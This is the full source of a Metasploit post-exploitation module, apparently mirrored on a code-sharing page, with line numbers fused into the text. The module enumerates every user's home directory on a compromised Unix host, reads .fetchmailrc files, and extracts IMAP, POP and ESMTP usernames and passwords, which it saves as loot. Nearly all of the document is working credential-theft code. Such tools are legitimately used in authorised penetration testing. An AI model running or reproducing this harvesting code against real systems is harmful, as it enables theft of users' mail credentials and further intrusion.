Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/multi/gather/fetchmailrc_creds.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Post::File7include Msf::Post::Unix89def initialize(info = {})10super(11update_info(12info,13'Name' => 'UNIX Gather .fetchmailrc Credentials',14'Description' => %q{15Post Module to obtain credentials saved for IMAP, POP and other mail16retrieval protocols in fetchmail's .fetchmailrc17},18'License' => MSF_LICENSE,19'Author' => [ 'Jon Hart <jhart[at]spoofed.org>' ],20'Platform' => %w[bsd linux osx unix],21'SessionTypes' => [ 'shell' ]22)23)24end2526def run27# A table to store the found credentials.28cred_table = Rex::Text::Table.new(29'Header' => '.fetchmailrc credentials',30'Indent' => 1,31'Columns' =>32[33'Username',34'Password',35'Server',36'Protocol',37'Port'38]39)4041# walk through each user directory42enum_user_directories.each do |user_dir|43fetchmailrc_file = ::File.join(user_dir, '.fetchmailrc')44unless readable? fetchmailrc_file45vprint_error("Couldn't read #{fetchmailrc_file}")46next47end48print_status("Reading: #{fetchmailrc_file}")49# read their .fetchmailrc if it exists50lines = read_file(fetchmailrc_file).each_line.to_a51next if (lines.size <= 0)5253print_status("Parsing #{fetchmailrc_file}")5455# delete any comments56lines.delete_if { |l| l =~ /^#/ }57# trim any leading/trailing whitespace58lines.map(&:strip!)59# turn any multi-line config options into a single line to ease parsing60(lines.size - 1).downto(0) do |i|61# if the line we are reading doesn't signify a new configuration section...62next if ((lines[i] =~ /^(?:defaults|poll|skip)\s+/))6364# append the current line to the previous65lines[i - 1] << ' '66lines[i - 1] << lines[i]67# and axe the current line68lines.delete_at(i)69end7071# any default options found, used as defaults for poll or skip lines72# that are missing options and want to use defaults73defaults = {}7475# now parse each line found76lines.each do |line|77# if there is a 'default' line, save any of these options as78# they should be used when subsequent poll/skip lines are missing them.79if (line =~ /^defaults/)80defaults = parse_fetchmailrc_line(line).first81next82end8384# now merge the currently parsed line with whatever defaults may have85# been found, then save if there is enough to save86parse_fetchmailrc_line(line).each do |cred|87cred = defaults.merge(cred)88if (cred[:host] && cred[:protocol])89if (cred[:users].size == cred[:passwords].size)90cred[:users].each_index do |i|91cred_table << [ cred[:users][i], cred[:passwords][i], cred[:host], cred[:protocol], cred[:port] ]92end93else94print_error("Skipping '#{line}' -- number of users and passwords not equal")95end96end97end98end99end100101if cred_table.rows.empty?102print_status('No creds collected')103else104print_line("\n" + cred_table.to_s)105106# store all found credentials107p = store_loot(108'fetchmailrc.creds',109'text/csv',110session,111cred_table.to_csv,112'fetchmailrc_credentials.txt',113'.fetchmailrc credentials'114)115116print_status("Credentials stored in: #{p}")117end118end119120# Parse a line +line+, assumed to be from a fetchmail configuration file,121# returning an array of all credentials found on that line122def parse_fetchmailrc_line(line)123creds = []124cred = {}125# parse and clean any users126users = line.scan(/\s+user(?:name)?\s+(\S+)/).flatten127unless users.empty?128cred[:users] = []129users.each do |user|130cred[:users] << user.gsub(/^"/, '').gsub(/"$/, '')131end132end133# parse and clean any passwords134passwords = line.scan(/\s+pass(?:word)?\s+(\S+)/).flatten135unless passwords.empty?136cred[:passwords] = []137passwords.each do |password|138cred[:passwords] << password.gsub(/^"/, '').gsub(/"$/, '')139end140end141# parse any hosts, ports and protocols142cred[:protocol] = ::Regexp.last_match(1) if (line =~ /\s+proto(?:col)?\s+(\S+)/)143cred[:port] = ::Regexp.last_match(1) if (line =~ /\s+(?:port|service)\s+(\S+)/)144cred[:host] = ::Regexp.last_match(1) if (line =~ /^(?:poll|skip)\s+(\S+)/)145# a 'via' option overrides poll/skip146cred[:host] = ::Regexp.last_match(1) if (line =~ /\s+via\s+(\S+)/)147# save this credential148creds << cred149# fetchmail can also "forward" mail by pulling it down with POP/IMAP and then150# connecting to some SMTP server and sending it. If ESMTP AUTH (RFC 2554) credentials151# are specified, steal those too.152cred = {}153cred[:users] = [ ::Regexp.last_match(1) ] if (line =~ /\s+esmtpname\s+(\S+)/)154cred[:passwords] = [ ::Regexp.last_match(1) ] if (line =~ /\s+esmtppassword\s+(\S+)/)155# XXX: what is the best way to get the host we are currently looting? localhost is lame.156cred[:host] = (line =~ /\s+smtphost\s+(\S+)/ ? ::Regexp.last_match(1) : 'localhost')157cred[:protocol] = 'esmtp'158# save the ESMTP credentials if we've found enough159creds << cred if (cred[:users] && cred[:passwords] && cred[:host])160# return all found credentials161creds162end163end164165166